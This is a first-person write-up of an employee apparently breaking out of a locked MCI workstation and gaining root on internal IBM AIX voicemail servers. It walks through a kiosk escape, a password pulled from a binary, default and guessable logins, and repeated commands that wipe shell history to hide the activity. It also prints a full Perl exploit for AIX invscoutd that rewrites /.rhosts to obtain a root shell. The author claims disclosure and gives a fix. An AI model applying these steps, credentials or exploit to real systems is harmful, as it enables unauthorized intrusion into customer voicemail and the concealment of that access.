How I hacked IBM’s Primary Voicemail Server.

I. Getting Access to our workstations.

First of all, I would like you to know the hack of the IBM’s server was purely for research purposes, I did not alter nor copy any information provided on the server, nor gave anyone access, or myself remote access to this machine. I did not view confidential files, nor did I abuse my authority on this machine. I did not delete logs, nor did I alter them, nor did I make them.

At MCI, there is a program used to access our customers’ information, local and long distance plans, it’s the only tool we have available; everything else on our workstation is locked. The files on the machine are downloaded from a central server, so anything created or altered goes back to the default once we log out and log back in.

Within this program we have a heads up display with a bunch of alternate programs used within the application. One of these, allows us to open Notepad for copy purposes, and nothing else. It is never used, nor should if be available. This is the first security flaw of MCI. Not a single user has access to even right clicking, run, find, program files, other applications, or the external internet.

When Notepad is open, it gives us access to opening a file.

Simply enter “C:\” and “All Files” gives us a listing of all the files located on the primary hardrive. There is one specific file in the root of C:\ called “opstool.exe” I notice this was made in Visual Basic, from the default icon used. Copying this file to C:\WINNT\PROFILES\RACF\START MENU we can then access opstool.exe from our Start Menu. (Logging out removes the file from the Profile)

Opstool asks for a password when executed. Knowing this is a Visual Basic file asking for a Password, it needs to be in plaintext in the executable file. Upon opening it in notepad and keeping my eye out, I notice “mciadmin” – sure enough, running opstool.exe and entering the password gives me a “whoami” and “cmd” prompt.

We now have a command prompt, able to access anything (except critical files, such as regedit of course.) – mspaint was favored during long days in training class.

II. Investigating more into Voicemail

We have a tool that browses our voicemail servers in search of a customers profile, incase we need to get their PIN number or need to know any more information relating to it. It's an internal MCI site called http://triage.mcilink.com/public/ Entering the phone number, it shows a list of the servers it browses and simply says "Profile not found." Noticing the bar at the bottem, I see it uses http://triage.mcilink.com/cgi-bin/ssh.pl

The first problem: A perl script executing a secure shell to our voicemail servers probing for a profile on a customer. Going directly to the http://triage.mcilink.com/cgi-bin/ssh.pl - we get to a separate site. Entering a phone number with an ASCII character gives us a scripting error:

```
ksh: /home/mcmgr: showuser – needs –e
Cannot find at /ca/IBM.
```

This is the first sign of executing a program off a UNIX based machine. Going through all the profiles, it gives us which host it connects to and where the profile is located.

For instance.

```
chdtvmd01.mcilink.com

Profile not found…

chtvmd01v.mcilink.com

Profile not found…
```

So, from the command prompt we original had, lets telnet to chtvmd01v.mcilink.com

```
Login: mcmgr
Password: mcmgr

/users/mcmgr: $
/users/mcmgr: $ rm .sh_history ; ln –s /dev/null .sh_history ; ls –al
```

III. Probing the voicemail servers for the right one.

IBM uses AIX, as it is of course their distribution. AIX 5.1 – Without external access to the internet I could not do my research into specifically what I can do to try and gain root on the machine. Though I do notice a compiled program called 'showuser' which is accessed by http://triage.mcilink.com/cgi-bin/ssh.pl to view a phone number. Simply at the ksh prompt typing:

showuser –e 6076060606 I get the profile of a MCI customer.

I have access to roam pretty much anything on this machine, except the information and access that I want. Taking a look at the groups, I do see that "staff" has access to most things other then root, whereas user mcmgr does not.

Checking out /etc/passwd:

```
nigelj:!:227:1:Nigel Jones:/home/nigelj:/usr/bin/ksh
```

nigelj has group access to staff.

```
mcmgr:$ su – nigelj
Password: nigelj
/users/nigelj/> rm .sh_history ; ln –s /dev/null .sh_history ; ls –al
```

```
Machine Name.... norvmd01v.mcilink.com
Machine Name.... omjvmd01v.mcilink.com
Machine Name.... dgmvmd01v.mcilink.com
Machine Name.... dgmvmd11v.mcilink.com
Machine Name.... chtvmd01v.mcilink.com
Machine Name.... chtvmd11v.mcilink.com
Machine Name.... cdtvmd01v.mcilink.com
```

One of these machines must be vulnerable to something, after logging in as mcmgr to every single machine on the network, and covering my .sh_history, I check out a well known bug in /usr/sbin/invscoutd, which is used on Aix 5.* for getting uid0 – this is only vulnerable on one machine.

Reportedly AIX invscoutd insecurely handles temporary files; this may allow a local attacker to destroy data on vulnerable system. This issue is due to a design error that allows a user to specify a log file that the process writes to while holding escalated privileges.

This issue may allow a malicious user to corrupt arbitrary files on the affected system, potentially leading to a system wide denial of service condition. It has also been conjectured that this issue may be leveraged to allow an attacker to gain escalated privileges, although this is unconfirmed.

With this specific vulnerability known, a perl script has been written to gain these escalated privileges:

Executing a perl script with the following:

```
$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;
symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "rsh localhost -l root '/bin/sh -i'\n"; .\n";
system "rsh","localhost","-l","root","/bin/sh -i";
system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";
sub killproc() {
  $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
  @proc_lst=split;
  $ret=kill 9,$proc_lst[1] if $proc_lst[1];
  $ret=-1 if ! defined $ret;
  return $ret;
}
#EOF
```

Now that we have obtained uid0 – I now have access to every critical file, including all saved messages, new messages, and the contents of IBM’s Voicemail, to alter or create anything I that I feel.

To fix this specific flaw, a simple:
chmod –s /usr/sbin/invscoutd

III. Conclusion

I myself am not a threat to IBM, nor MCI. I have brought this bug to the attention of IBM and MCI, in hopes that security will be looked at in a more in depth way, then thinking that because we are behind an Intranet and our big expensive firewalls, that we are safe. When you secure a machine, you secure it so the people on the internet can't find it, and you give trusted hosts access, because nobody at MCI would ever do something like this. The reason why we secure our machines is for that one person. The one curious person who wants to do damage, that one person who can use the information provided to him to sabotage, or exploit his company. That one person is who we are trying to deny access. And I did it. From training class.